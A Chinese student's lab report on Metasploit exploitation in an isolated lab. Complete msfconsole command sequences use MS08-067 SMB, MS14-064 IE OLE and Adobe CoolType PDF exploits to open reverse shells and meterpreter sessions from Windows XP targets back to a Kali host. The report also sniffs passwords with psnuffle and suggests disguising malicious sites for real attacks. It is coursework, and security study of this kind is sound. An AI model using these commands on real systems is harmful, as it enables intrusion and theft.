实验目的
学会用metasploit进行简单的攻击操作
教程
实验内容
- metasploit中有六个模块分别是
渗透攻击模块(Exploit Modules)
辅助模块(Auxiliary Modules
攻击载荷(Payload Modules)
空字段模块(Nop Modules)
编码模块(Encoders)
后渗透攻击模块(Post)
- 本次实验使用的是
exploit
和auxiliary
- exploit:渗透攻击模块,指利用某种漏洞对目标主机进行攻击。渗透就是说攻击者通过目标主机上的一个漏洞将自己的恶意代码注入目标主机的系统,就像白蚁一样,从一个洞慢慢攻破整栋建筑。
- auxiliary:辅助模块,能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。它和
exploit
之间的关系就好像观察者和狙击手的关系,前者负责观察网络环境,得到准确的信息;后者就根据收集到的信息进行攻击。
实验步骤
(一)一个主动攻击实践,如ms08_067
MS08_67漏洞攻击主要主要原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到这个端口,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
-
实验环境
计算机 系统 IP地址 主机 kali 192.168.19.130 靶机 Windows XP SP3 English(AlwaysOn NX) 192.168.19.132 -
打开msfconsole设置载荷、参数,运行
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set RHOST 192.168.19.132 //靶机的IP地址
set LHOST 192.168.19.130 //本机的IP地址
set LPORT 5315
exploit
- 一开始使用的是
target 10
,查看教程之后决定设置set target 0
让kali自动识别靶机的系统,这样攻击的成功率更大。 - 结果
- 让我们看看恶意资料伪装成什么程序。
- 重新设置载荷为
set payload windows/meterpreter/reverse_tcp
,exploit后使用getpid
得到我们伪装的进程的进程号 - 使用
ps -ef | grep 1064
查看进程 - 通过上次实验的分析知道Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称,这个程序对系统的正常运行是非常重要,而且是不能被结束的。也就是说我们的攻击被隐藏在系统程序下,想想还是很可怕的。
(二)一个针对浏览器的攻击,如ms14_064
-
实验环境
- Internet Exploer 8
计算机 系统 IP地址 主机 kali 192.168.19.130 靶机 Windows XP SP3 192.168.19.131 -
一开始使用教程中提到的
ms11_050
进行攻击的时候总是被数据执行保护程序杀死进程,努力将IE浏览器的的安全级别降到最低也无济于事,连续试了03_020
、ms12_037
、ms13_009
也不成功 -
重新查找关于IE的exploit,从时间和等级上进行筛选,最后选择
windows/browser/ms14_064_ole_code_execution
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
- 看起来这个漏洞对于win xp应该是一击即中的。
use windows/browser/ms14_064_ole_code_execution
看看需要设置的参数- 设置载荷、参数,运行
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.130
set LPORT 2015
set URIPATH zyl_
- 结果
- 靶机打开IE浏览器输入生成的网址,kali的8080端口监听获得连接,建立会话
- 打开会话
(三)一个针对客户端的攻击,如Adobe
-
实验环境
- Adobe Reader 9.3
计算机 系统 IP地址 主机 kali 192.168.19.130 靶机 Windows XP SP3 192.168.19.131 -
本次实验采用的漏洞是
exploit/windows/browser/adobe_cooltype_sing
这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 设置载荷、参数,运行
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.130
set LPORT 5315
set FILENAME 20155315
exploit
- 结果
- 打开监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.130
set LPORT 1111
- 将生成的恶意文件复制到靶机,运行之后kali显示回连成功
(四)应用辅助模块的攻击
-
实验环境
计算机 系统 IP地址 主机 kali 192.168.19.130 靶机 Windows XP SP3 192.168.19.131 -
进入
/usr/share/metasploit-framework/modules/auxiliary
目录查看有什么项目 -
这里面我们看到一个感兴趣的
sniffer
,也就是网络嗅探器。 -
进入目录发现只有一个
psnuffle.rb
psnuffle是metasploit中的口令嗅探工具,只有在接入对方网络的初始访问点后才能进行嗅探。
- 在
msfconsole
中use auxiliary/sniffer/psnuffle
,查看详细信息 - 可以看到它嗅探的是任意协议,捕获的长度是65535,时间限制是500s
run
在靶机打开百度,kali捕捉到了这次会话
实验中遇到的问题
- 在做第一个实验的时候出现
怀疑是靶机的445端口没有打开,根据网上的教程设置之后打开cmd查看445端口重新进行exploit,连接成功 - 做第二个实验的时候,靶机打开网页总是受到执行数据保护机制的阻挠。
- 就实验过程来看,对于比较旧的漏洞,IE浏览器或者说数据执行保护都能识别,但是更新的漏洞如果没有下载补丁,靶机的端口就相当于窗户拉开的一条缝,只要恶意网站被打开,攻击者就可以毫不费力地入侵靶机了。
实验问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit就是通过一个小小的漏洞将自己的恶意代码植入目标主机从而达到攻击的目的,指的是一种攻击的手段
- payload就相当于是一段恶意代码,或者说是一个装有恶意代码的容器,通过载荷就可以控制目标主机
- encode是编码器,就是通过编码将恶意代码进行封装或伪装,使其不被目标主机检测为恶意软件
离实战还缺些什么技术或步骤
- 要真正开始实战的前提是要有足够准确的信息,也就是前期的信息搜集要更全面、更彻底
- 就本次实验而言,大多都是靶机进行操作来触发恶意代码使攻击方入侵成功的。在实际生活中,对可疑文件、可疑网址等都不会主动点击,因此,如果要进行实战最好是将恶意网站进行再次编辑或者修改域名之类的来提高成功的可能性。
实验总结
本次实验做下来还是比较顺利的,攻击成功的时候感觉自己酷酷的,但是离实战还有一定距离。另外,每做一个实验就又深深地觉得网络真是太不安全了,厉害的人这么多,还是要好好保护电脑!